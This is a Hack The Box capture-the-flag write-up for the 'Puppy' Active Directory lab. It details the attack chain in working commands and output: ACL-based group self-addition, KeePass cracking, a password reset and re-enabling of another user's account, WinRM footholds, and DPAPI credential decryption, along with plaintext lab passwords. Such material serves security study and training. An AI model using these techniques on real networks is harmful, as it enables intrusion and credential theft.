HTB Puppy writeup
A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”Starting with the supplied credentials for PUPPY.HTB\levi.james, I examined Active Directory group ACLs. Because HR could modify the membership attribute of DEVELOPERS, I gained access to a development SMB share and recovered valid credentials for ant.edwards from a KeePass database. I used ant.edwards’s GenericAll over adam.silver to change the password, cleared ACCOUNTDISABLE on the disabled account, and gained a WinRM foothold. An LDAP bind password in a backup let me move to steph.cooper. I then decrypted that user’s DPAPI Master Key and Enterprise Credential Blob to obtain credentials for steph.cooper_adm. Finally, I read C:\Users\Administrator\Desktop\root.txt from a WinRM session as that account. Because whoami and group membership were not recorded in the final session, I do not assert that steph.cooper_adm was a Domain Admin or NT AUTHORITY\SYSTEM.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Puppy |
| Platform | Hack The Box |
| OS | Windows Server 2022 Build 20348 (confirmed by SMB/LDAP enumeration; Nmap’s OS detection also indicated Windows Server 2022) |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”Operator | | supplied PUPPY.HTB\levi.james credential; SMB/LDAP + RustHound collection vlevi.james (member of HR) | | HR --GenericWrite--> DEVELOPERS; bloodyAD add groupMember vlevi.james (member of DEVELOPERS; DEV share READ) | | SMB read recovery.kdbx -> KDBX4 password recovery -> ant.edwards credential vant.edwards | | Senior Devs --GenericAll--> adam.silver; set password and clear ACCOUNTDISABLE vadam.silver WinRM (Kerberos; user.txt) | | read C:\Backups\site-backup-2024-12-30.zip -> LDAP bind password vsteph.cooper WinRM (Kerberos) | | DPAPI user Master Key + Enterprise Credential Blob decryption vsteph.cooper_adm credential | | Kerberos TGT -> WinRM; read Administrator profile desktop vC:\Users\Administrator\Desktop\root.txt readableTarget Details
Section titled “Target Details”| Item | Value |
|---|---|
| Hostname / domain | DC / PUPPY.HTB |
I used the following mapping for name resolution. Its location within /etc/hosts was not recorded, but it was needed for Kerberos and WinRM connections by FQDN.
10.129.232.75 DC.PUPPY.HTB PUPPY.HTB DCI ran the initial scan of all TCP ports as follows. The output was saved with the shell’s > operator when it was run, but I omit the destination path because it does not affect reproducibility.
nmap -sS -A -p- --min-rate 10000 10.129.232.75Only the important output is retained here.
53/tcp open domain88/tcp open kerberos-sec Microsoft Windows Kerberos135/tcp open msrpc389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB)445/tcp open microsoft-ds464/tcp open kpasswd5593/tcp open ncacn_http636/tcp open tcpwrapped2049/tcp open nlockmgr3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0Service Info: Host: DC; OS: Windows| smb2-security-mode:|_ Message signing enabled and required|_clock-skew: 6h58m38sThe points to note are:
- DNS, Kerberos, LDAP/Global Catalog, SMB, and WinRM run together, so this should be treated as an AD environment with a DC rather than a standalone Windows host.
- SMB signing is required, so I did not make SMB relay the first option. I prioritized authenticated SMB enumeration and share ACLs.
- Kerberos is sensitive to time differences. The scan showed about seven hours of skew, so the time should be checked again before obtaining tickets. However, the recorded time synchronization command named a different host,
certified.htb; the record does not directly prove synchronization with Puppy. - An open 5985/tcp does not mean that any domain user can connect over WinRM. Authorization, such as membership in Remote Management Users, and valid NTLM/Kerberos authentication must be checked separately.
- RPC/NFS-related ports 111/2049 and iSCSI on 3260/tcp were also visible, but there is no record of using them on this path.
Initial Enumeration and AD Relationship Mapping
Section titled “Initial Enumeration and AD Relationship Mapping”Initial credential, SMB, and LDAP
Section titled “Initial credential, SMB, and LDAP”Prerequisite: levi.james / KingofAkron2025! was supplied at the start. It was not guessed or obtained by password spraying.
Authenticated enumeration showed that both SMB and LDAP accepted these credentials, and identified the DC’s OS, domain, and shares. The enumeration script ran the following three NetExec commands. Here, $1 is shown as dc.puppy.htb (puppy.htb would also work). users.txt and passwords.txt were inputs to the script; their complete contents at the start were not recorded.
nxc smb dc.puppy.htb -u users.txt -p passwords.txt --generate-hosts-file hostsnxc smb dc.puppy.htb -u users.txt -p passwords.txt --shares --rid-brutenxc ldap dc.puppy.htb -u users.txt -p passwords.txt --users --groupThe first line checks SMB authentication and generates a hosts mapping for later use of the FQDN. The second enumerates share permissions and user/group SIDs from RIDs. The third checks LDAP authentication and retrieves domain users and groups. Because the full starting contents of users.txt / passwords.txt were not recorded, the scope of any guessing cannot be asserted. At a minimum, the output shows that SMB/LDAP accepted the supplied levi.james / KingofAkron2025! credentials, which could then be used for service and directory enumeration.
SMB [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB)SMB [+] PUPPY.HTB\levi.james:KingofAkron2025!SMB Share Permissions RemarkSMB DEV DEV-SHARE for PUPPY-DEVSSMB IPC$ READSMB NETLOGON READSMB SYSVOL READ
LDAP [+] PUPPY.HTB\levi.james:KingofAkron2025!LDAP [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert)LDAP [*] Enumerated 9 domain users: PUPPY.HTBLDAP Remote Management Users 2LDAP HR 1LDAP SENIOR DEVS 1LDAP DEVELOPERS 3At this point, DEV did not show READ. Finding a share name and being able to read the share must therefore be treated separately. Authenticated enumeration over plaintext LDAP on 389/tcp also provided a basis for the subsequent AD information gathering.
RustHound / BloodHound: examine attributes and ACLs, not just a “path”
Section titled “RustHound / BloodHound: examine attributes and ACLs, not just a “path””Execution context: I used levi.james’s domain credentials on the attacking machine.
rusthound-ce -d puppy.htb -f dc.puppy.htb -u levi.james -p 'KingofAkron2025!' -c All --zipConnected to PUPPY.HTB Active Directory!All data collected for NamingContext DC=PUPPY,DC=HTB10 users parsed!64 groups parsed!1 computers parsed!3 ous parsed!1 domains parsed!3 gpos parsed!From the BloodHound display and recorded relationships, I identified the following attack candidates.
levi.james --MemberOf--> HRHR --GenericWrite--> DEVELOPERSDEVELOPERS --MemberOf/contains--> ant.edwards, adam.silver, jamie.williamsant.edwards --MemberOf--> SENIOR DEVSSENIOR DEVS --GenericAll--> adam.silveradam.silver --MemberOf--> Remote Management UsersOf these, the first two edges were confirmed by the later successful add groupMember and a new membership check. The SENIOR DEVS -> adam.silver edge was confirmed by the later successful password and userAccountControl changes. The BloodHound query name, raw output for each ACE, and individual membership list for Remote Management Users were not recorded. I relied on actual LDAP changes and logons rather than the graph alone.
The record includes an attempt to synchronize the clock, but the target was certified.htb, not dc.puppy.htb. I therefore do not claim that the clock was synchronized to Puppy. The later TGT issuance and use are confirmed, but it is unknown whether a time correction enabled them.
ACL-guided Group Membership and Developer Share
Section titled “ACL-guided Group Membership and Developer Share”Adding myself to DEVELOPERS
Section titled “Adding myself to DEVELOPERS”Prerequisite: levi.james belonged to HR, and collection had shown that HR had GenericWrite over DEVELOPERS. If the group’s member attribute is writable, adding a member changes that attribute; it does not change the group’s owner.
State change — acting principal: PUPPY.HTB\levi.james.
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' add groupMember Developers levi.james[+] levi.james added to DevelopersI read the membership again immediately afterward.
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' get membership levi.jamesdistinguishedName: CN=HR,DC=PUPPY,DC=HTBsAMAccountName: HR
distinguishedName: CN=DEVELOPERS,DC=PUPPY,DC=HTBsAMAccountName: DEVELOPERSThis confirmed membership in DEVELOPERS. There is, however, no recorded LDAP output directly showing that the account was not a member of DEVELOPERS before the change. The successful add groupMember message should not be confused with taking ownership of the group or gaining permission to write arbitrary attributes of ant.edwards.
Share ACL change and KeePass database
Section titled “Share ACL change and KeePass database”Checking the shares again with the same credentials showed READ on DEV.
nxc smb dc.puppy.htb -u levi.james -p 'KingofAkron2025!' --sharesSMB [+] PUPPY.HTB\levi.james:KingofAkron2025!SMB Share Permissions RemarkSMB DEV READ DEV-SHARE for PUPPY-DEVSI listed the share contents over SMB and retrieved the database.
smbclient -U 'puppy.htb/levi.james%KingofAkron2025!' --realm=puppy.htb //dc.puppy.htb/DEVsmb: \> ls KeePassXC-2.7.9-Win64.msi A 34394112 Projects D 0 recovery.kdbx A 2677smb: \> get recovery.kdbxgetting file \recovery.kdbx of size 2677 as recovery.kdbxInterpretation: The small, explicitly named recovery.kdbx was a more likely source of stored credentials than the large installer. Gaining read access to the share provided the basis for the next credential recovery step.
Decrypting KDBX4 and verifying ant.edwards
Section titled “Decrypting KDBX4 and verifying ant.edwards”The first tool I tried, keepass2john, could not handle KDBX header version 40000.
keepass2john recovery.kdbx > recovery.hash! recovery.kdbx : File version '40000' is currently not supported!This output reflects a compatibility difference: the installed keepass2john did not handle KDBX4. It does not show that no password existed. I switched to the KDBX4-compatible keepass4brute.
./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt[+] Current attempt: liverpool[*] Password found: liverpoolI then printed the entries with the official KeePassXC CLI executable.
keepassxc-cli export --format csv recovery.kdbx"Group","Title","Username","Password","URL""Root","JAMIE WILLIAMSON","","JamieLove2025!","puppy.htb""Root","ADAM SILVER","","HJKL2025!","puppy.htb""Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb""Root","STEVE TUCKER","","Steve2025!","puppy.htb""Root","SAMUEL BLAKE","","ILY2025!","puppy.htb"An entry’s display name does not necessarily match an AD sAMAccountName. I tested combinations against the enumerated domain users, and the only combination usable on this path was the following.
nxc smb dc.puppy.htb -u ant.edwards -p 'Antman2025!'SMB [+] PUPPY.HTB\ant.edwards:Antman2025!In this guessing output, ADAM SILVER / HJKL2025! produced PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE. I therefore do not treat it as adam.silver’s original password. The other three entries were not verified as valid for this attack path either.
An SPN attempt that exposed the ACL boundary through failure
Section titled “An SPN attempt that exposed the ACL boundary through failure”Based on the description of GenericWrite, I tried to change ant.edwards’s servicePrincipalName, but it failed.
bloodyad -d puppy.htb --host dc.puppy.htb -u levi.james -p 'KingofAkron2025!' set object ant.edwards servicePrincipalName -v 'http/ant-test.puppy.htb'LDAPModifyException: insufficientAccessRights for CN=Anthony J. Edwards,DC=PUPPY,DC=HTBERROR_DS_INSUFF_ACCESS_RIGHTSThis failure confirmed that levi.james changing the membership attribute of the DEVELOPERS group and changing the SPN on the ant.edwards user object are governed by different ACLs. Adding an SPN or Kerberoasting was not part of the successful path.
The tool names also matter. The tool used in this record was keepassxc-cli; there is no record of running kpxc-cli. They should not be assumed to be the same official CLI. Next time, check command -v keepassxc-cli kpxc-cli and keepassxc-cli --version first to match the KDBX version to a compatible tool. The exact versions of keepass2john and the KeePassXC CLI were not recorded.
ant.edwards to adam.silver: GenericAll, Account State, and WinRM
Section titled “ant.edwards to adam.silver: GenericAll, Account State, and WinRM”Changing the password
Section titled “Changing the password”Prerequisite: ant.edwards / Antman2025! had authenticated over SMB, and the BloodHound relationship showed GenericAll over adam.silver through SENIOR DEVS.
State change — acting principal: PUPPY.HTB\ant.edwards. GenericAll gives broad control over the target user and was used here to change the password.
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p 'Antman2025!' set password adam.silver 'HappyPwn2026!'[+] Password changed successfully!This output proves that the new password was set. The previous password was not recorded, so a value such as HJKL2025! must not be guessed as the original.
Separating WinRM and Kerberos failures
Section titled “Separating WinRM and Kerberos failures”NTLM WinRM failed immediately after the change.
evil-winrm-py -i dc.puppy.htb -u adam.silver -p HappyPwn2026![*] Connecting to 'dc.puppy.htb:5985' as 'adam.silver'[-] Failed to authenticate the user adam.silver with ntlmA subsequent Kerberos TGT request received a KDC response that the account was revoked.
getTGT.py PUPPY.HTB/adam.silver:HappyPwn2026!Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)Instead of assuming that the password was wrong, I read the state of the target account object.
bloodyAD -d puppy.htb -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb get object adam.silver --attr userAccountControldistinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTBuserAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORDACCOUNTDISABLE is the account-disabled bit of userAccountControl. KDC_ERR_CLIENT_REVOKED is consistent with this attribute. The server did not return a detailed reason for the NTLM failure, but the disabled state was directly confirmed as the reason the account could not be used with Kerberos.
Clearing ACCOUNTDISABLE and using a TGT
Section titled “Clearing ACCOUNTDISABLE and using a TGT”State change — acting principal: Still PUPPY.HTB\ant.edwards.
bloodyad -d puppy.htb --host dc.puppy.htb -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE[+] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControlI checked the attribute again.
bloodyAD -d puppy.htb -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb get object adam.silver --attr userAccountControluserAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORDThis shows that only ACCOUNTDISABLE was cleared, while NORMAL_ACCOUNT and DONT_EXPIRE_PASSWORD remained. The UAC state change was needed in addition to the password reset.
After explicitly setting the Kerberos realm/KDC to PUPPY.HTB / dc.puppy.htb, I connected with adam.silver’s ccache. Standard output from the successful post-enablement getTGT.py run was not saved, but the subsequent acceptance of the ccache and the remote PowerShell prompt confirm the result.
evil-winrm -i dc.puppy.htb -r puppy.htb --ccache adam.silver.ccacheInfo: Using ccache Kerberos ticket file: adam.silver.ccacheInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\adam.silver\Documents>The environment also printed bad interpreter: /usr/bin/ruby3.1 and a Ruby warning about remote completion, but the connection continued as shown above. These environment warnings should not be mistaken for authentication failures.
I confirmed the initial foothold as follows.
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> type user.txt[REDACTED]The record does not establish the claim that a TGT belonging to a user without WinRM rights caused a failure. adam.silver ultimately connected to WinRM with a ccache, and steph.cooper’s initial failure, as described in the next section, was due to a missing ccache. There is no recorded output such as Access is denied for a valid TGT that would show insufficient authorization.
Windows Foothold Enumeration and the Backup Credential
Section titled “Windows Foothold Enumeration and the Backup Credential”Narrowing the search in adam.silver’s context
Section titled “Narrowing the search in adam.silver’s context”Execution context: A Kerberos-authenticated WinRM session as PUPPY\adam.silver.
*Evil-WinRM* PS C:\Users\adam.silver\Desktop> whoami*Evil-WinRM* PS C:\Users\adam.silver\Desktop> whoami /privpuppy\adam.silver
Privilege Name Description StateSeMachineAccountPrivilege Add workstations to domain EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set EnabledThis privilege list does not include SeImpersonatePrivilege or another privilege pointing to immediate SYSTEM elevation. I therefore focused on readable stored material and application-related directories rather than token elevation.
I first checked only the root of C:\. The recorded input was ls C:\; below, I use the full name of the same PowerShell alias.
Get-ChildItem C:\Directory: C:\
BackupsinetpubPerfLogsProgram FilesProgram Files (x86)StorageReportsUsersWindowsI prioritized C:\Backups because its name suggests backups, configuration, or old source; C:\inetpub for IIS/application files; and C:\StorageReports because its name appeared more application-specific than a standard directory. I also checked PerfLogs, but it produced nothing relevant to this path.
$targets = @( 'C:\Backups', 'C:\inetpub', 'C:\PerfLogs', 'C:\StorageReports')Get-ChildItem $targets -Recurse -Force -ErrorAction SilentlyContinueDirectory: C:\Backups-a---- 4639546 site-backup-2024-12-30.zip
Directory: C:\inetpub\DeviceHealthAttestation\bin-a---- 208896 hassrv.dll
Directory: C:\StorageReportsd----- ScheduledInterpretation and resulting state: C:\Backups\site-backup-2024-12-30.zip became a specific, readable 4.6 MB target. The hassrv.dll in inetpub and empty StorageReports\Scheduled yielded no credentials, write permissions, or tasks usable in this record. There is no record of scanning all of C:\ with -Recurse. That was the right choice: recursively scanning Windows/WinSxS/Program Files would increase noise, time, and audit traces. I started at the root and narrowed the search to meaningful nonstandard directories before going deeper where needed.
Obtaining an LDAP bind password from the backup
Section titled “Obtaining an LDAP bind password from the backup”Prerequisite: Files were readable from the adam.silver WinRM session.
*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zipInfo: Downloading C:\Backups\site-backup-2024-12-30.zipInfo: Download successful!The command used to extract the archive was not recorded. The search for configuration containing passwords in its extracted contents returned the following.
grep -rl password .nms-auth-config.xml.bakassets/js/util.jsassets/js/jquery.min.jsassets/css/main.cssassets/sass/main.scssInstead of generic JavaScript/CSS matches, I examined the LDAP configuration backup.
cat nms-auth-config.xml.bak<ldap-config> <server> <host>DC.PUPPY.HTB</host> <port>389</port> <base-dn>dc=PUPPY,dc=HTB</base-dn> <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn> <bind-password>ChefSteph2025!</bind-password> </server></ldap-config>This is direct evidence of the plaintext LDAP bind credentials steph.cooper / ChefSteph2025!. I verified that they worked over SMB.
nxc smb dc.puppy.htb -u steph.cooper -p 'ChefSteph2025!'SMB [+] PUPPY.HTB\steph.cooper:ChefSteph2025!Connecting as steph.cooper with an explicit Kerberos ccache
Section titled “Connecting as steph.cooper with an explicit Kerberos ccache”The next attempt selected Kerberos with -r puppy.htb, but no usable ticket was available.
evil-winrm -i dc.puppy.htb -r puppy.htb -u steph.cooper -p 'ChefSteph2025!'Warning: User is not needed for Kerberos auth. Ticket will be usedWarning: Password is not needed for Kerberos auth. Ticket will be usedNo Kerberos credentials available (default cache: FILE:/tmp/krb5cc_1000)This failure did not mean that the password was wrong or WinRM authorization was lacking; it showed that no ccache was available for the selected Kerberos authentication. I obtained a TGT and explicitly selected the resulting ccache.
getTGT.py PUPPY.HTB/steph.cooper:ChefSteph2025!evil-winrm -i dc.puppy.htb -r puppy.htb --ccache steph.cooper.ccache[*] Saving ticket in steph.cooper.ccacheInfo: Using ccache Kerberos ticket file: steph.cooper.ccacheInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\steph.cooper\Documents>BloodHound also recorded steph.cooper as a member of Remote Management Users, but this prompt is the direct, subsequent confirmation of successful WinRM access.
Notes on reusing PowerShell commands
Section titled “Notes on reusing PowerShell commands”The recorded commands mix ls, type, and Get-ChildItem. In PowerShell, ls is an alias for Get-ChildItem and type for Get-Content. For reuse, prefer the full cmdlet names and -LiteralPath.
# Form used here: recursively list only candidate directories, including hidden itemsGet-ChildItem $targets -Recurse -Force -ErrorAction SilentlyContinue
# Full cmdlet name for the recorded `type user.txt` / `type root.txt` readsGet-Content -LiteralPath 'C:\Users\adam.silver\Desktop\user.txt'
# Only when a filename such as a flag is known, limit the search to UsersGet-ChildItem -LiteralPath 'C:\Users' -Filter 'root.txt' -Recurse -Force -ErrorAction SilentlyContinueThere is no record of running Out-File on the target. ... | Out-File -Encoding utf8 <file> could be useful for saving standard output, but it must not be presented as a command run here. Shell redirection was used to save Nmap output and, later, for Base64 decoding.
DPAPI: Credentials, Protect\<SID>, Master Key, and Credential Blob
Section titled “DPAPI: Credentials, Protect\<SID>, Master Key, and Credential Blob”Why examine these three items together?
Section titled “Why examine these three items together?”Credentials saved in Windows Credential Manager are stored as Credential Blobs in the Credentials directory. A Blob alone is normally unreadable. The Blob records which Master Key it uses, and that Master Key file resides under Protect\<SID> for the user’s SID. The sequence is to decrypt the Master Key with the user’s logon secret (here, steph.cooper’s password) and SID, then use the resulting key to read the Blob.
The relationships in this case are as follows.
| Type | Location on the target | Confirmed meaning |
|---|---|---|
| SID | S-1-5-21-1487982659-1829050783-2281216199-1107 | Name of steph.cooper’s Protect directory |
| Master Key file | C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 | 740-byte DPAPI Master Key file |
| Local Credential Blob | C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D | 11068 bytes, Local Credential Data |
| Enterprise Credential Blob | C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 | 414 bytes, Enterprise Credential Data |
winPEAS reported that this Master Key and both Credential Blobs referenced the same GUID, 556a2412-1275-4ccf-b721-e6a0b4f90407.
MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
CredFile: ...\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5DDescription: Local Credential DataMasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
CredFile: ...\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9Description: Enterprise Credential DataMasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407Of winPEAS’s extensive output, this DPAPI relationship was the only observation used. A Protect\...-1105 directory also appeared for adam.silver, but the output did not show a Master Key or credential file under it, so it was not used on this path.
Checking hidden files and working around Evil-WinRM download failures
Section titled “Checking hidden files and working around Evil-WinRM download failures”In the steph.cooper WinRM context, I checked the candidate files’ existence and sizes with ls -Hidden. Below, I use the full Get-ChildItem name for the same alias.
Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D'Get-ChildItem -Hidden 'C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'556a2412-1275-4ccf-b721-e6a0b4f90407 -a-hs- 740DFBE70A7E5CC19A398EBF1B96859CE5D -a-hs- 11068C8D69EBE9A43E9DEBF6B5FBD48B521B9 -a-hs- 414Evil-WinRM’s download produced the following error when given a directory as its destination.
Error: Download failed. Check filenames or paths: Is a directory @ rb_sysopenSpecifying an individual filename also failed in this environment with a Ruby-side exception.
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardErrorThe workaround I used was to Base64-encode the bytes on the target and reconstruct them on the attacking machine. This let me copy the binary data as text and worked for all three files.
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9'))[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D'))[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407'))echo '<base64 text>' | base64 -d > <file name>Base64 increases the size and can lose data through copy/paste errors. An untried alternative would be to copy from the target to a reachable SMB/HTTP(S) share on the attacking machine. That would require separate checks of outbound connectivity, credentials, and the transferred file’s hash, so it is distinct from the successful method used here.
Decrypting the Master Key
Section titled “Decrypting the Master Key”Prerequisite: I had steph.cooper / ChefSteph2025!, that user’s SID, and the Master Key file. The Master Key’s GUID matched the GUID referenced by the Blob.
dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'[MASTERKEYFILE]Version : 2 (2)Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407MasterKeyLen: 00000088 (136)DomainKeyLen: 00000174 (372)Decrypted key with User Key (MD4 protected)Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84This shows that I did more than obtain the Master Key file: I successfully decrypted it with steph.cooper’s user secret. The output shows that a DomainKey exists, but there is no record of obtaining or using the domain backup key, so I do not claim it was used on this path.
Reading the two Blobs separately
Section titled “Reading the two Blobs separately”Using the decrypted key to read the Local Credential Blob returned the following stored information.
dpapi.py credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)Type : 0x00000001 (CRED_TYPE_GENERIC)Target : WindowsLive:target=virtualapp/didlogicalDescription : PersistedCredentialUsername : 02vpdyzbbgyaqelfThe output did not show a password usable in this attack. I do not infer credentials from the meaning of the Username string or the subsequent Data field.
Reading the Enterprise Credential Blob with the same key yielded a domain password.
dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)Target : Domain:target=PUPPY.HTBUsername : steph.cooper_admUnknown : FivethChipOnItsWay2025!This Blob was the sole source of steph.cooper_adm / FivethChipOnItsWay2025!. The Master Key, Blob, decryption method, and result were all recorded, so this transition is not speculative.
Final Access: steph.cooper_adm and Administrator Desktop
Section titled “Final Access: steph.cooper_adm and Administrator Desktop”Prerequisite: Credentials for steph.cooper_adm obtained from the Enterprise Credential Blob.
getTGT.py PUPPY.HTB/steph.cooper_adm:FivethChipOnItsWay2025!evil-winrm -i dc.puppy.htb -r puppy.htb --ccache steph.cooper_adm.ccache[*] Saving ticket in steph.cooper_adm.ccacheInfo: Using ccache Kerberos ticket file: steph.cooper_adm.ccacheInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents>There was no flag on this account’s Desktop, so I limited the search to C:\Users rather than the whole drive.
Get-ChildItem C:\Users -Filter root.txt -Recurse -Force -ErrorAction SilentlyContinueDirectory: C:\Users\Administrator\Desktop
Mode Length Name---- ------ -----ar--- 34 root.txtIn the same session, I could move to and read the Administrator profile. The recorded input is shown without modification.
*Evil-WinRM* PS C:\Users\steph.cooper_adm> cd C:\Users\Administrator\Desktop*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt[REDACTED]Confirmed resulting state: A Kerberos ticket for steph.cooper_adm provided a WinRM session in which C:\Users\Administrator\Desktop\root.txt could be read.
Unconfirmed: The final session did not record whoami, whoami /groups, or whoami /priv. The account’s exact administrative groups, why it could read the Administrator Desktop ACL, and whether it gained SYSTEM privileges are therefore unknown. Reading the HTB root flag is confirmed, but I do not fill in an unverified privilege name.
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”- Although
levi.jamescould change theDEVELOPERSmemberattribute, it could not changeant.edwards’sservicePrincipalName.ERROR_DS_INSUFF_ACCESS_RIGHTSshowed that a different ACL governed the target, so there was no reason to continue with SPN addition or Kerberoasting. keepass2john’sFile version '40000' is currently not supported!was a KDBX4 compatibility issue. Failure to extract a hash should not be taken to mean the database contained nothing useful.- The
evil-winrm -r ... -u ... -p ...failure wasNo Kerberos credentials available. With-r, the tool used a ticket rather than the supplied user/password, so explicitly selecting a ccache resolved the problem. - Evil-WinRM’s
downloadfailed both when given a directory as the destination and with the RubyEstandardErrorexception. The problem was the transfer feature, not the absence of DPAPI files. - There is no record of indiscriminately running
Get-ChildItem -Recurseover all ofC:\. Next time, start with the root listing and narrow the search to grounded candidates such asBackups, application/Web roots, reports, and user profiles. A full recursive scan increases noise, time, and access-denied errors.
Cleanup Notes
Section titled “Cleanup Notes”This path changed AD state in three places. There is no recorded output showing that restoration was completed.
| Target | Before change | Changed and confirmed state | Restoration method | Restoration verified |
|---|---|---|---|---|
DEVELOPERS member attribute | No direct record of whether levi.james was already a member | levi.james appeared in DEVELOPERS | Unexecuted restoration candidate: bloodyad ... remove groupMember Developers levi.james | Unconfirmed |
adam.silver password | Not recorded. HJKL2025! failed validation and is not the original value | Setting HappyPwn2026! succeeded | The original value was not recorded, so it cannot be specified safely. Reset the lab or have an administrator set the correct old value. | Unconfirmed |
adam.silver.userAccountControl | ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD | NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD | Unexecuted restoration candidate: bloodyad ... add uac adam.silver -f ACCOUNTDISABLE. Then verify with get object ... --attr userAccountControl. | Unconfirmed |
The ... placeholders take the domain, host, and authentication options for the acting principal at the time of each operation. The restoration candidates above are not commands that were run. In particular, do not guess the original password to restore it. There is no record of uploading files to the target, changing services or tasks, or creating a new group.
Credentials and Artifacts
Section titled “Credentials and Artifacts”The following is retained unmasked for private study. For each credential, distinguish its source, associated account, first use, and access obtained.
| Value | Source / target | First use | Confirmed access and notes |
|---|---|---|---|
levi.james / KingofAkron2025! | Supplied at the start / PUPPY.HTB\levi.james | Authenticated SMB/LDAP enumeration | Enabled RustHound collection, self-addition to DEVELOPERS, and read access to the share |
liverpool | Password recovery for recovery.kdbx | keepassxc-cli export | Used to decrypt the KeePass database; not domain account credentials |
ant.edwards / Antman2025! | KeePass ANTONY C. EDWARDS entry / verified over SMB as ant.edwards | bloodyad set password adam.silver ... | Could change adam.silver’s password and UAC |
adam.silver / HappyPwn2026! | Value set by the attacker with GenericAll / PUPPY.HTB\adam.silver | NTLM WinRM attempt (failed) | After enabling the account, WinRM and reading user.txt succeeded with a ccache. These were not the original credentials. |
steph.cooper / ChefSteph2025! | LDAP bind password in nms-auth-config.xml.bak inside the backup / PUPPY.HTB\steph.cooper | getTGT.py after SMB verification | WinRM through a ccache and reading DPAPI files succeeded |
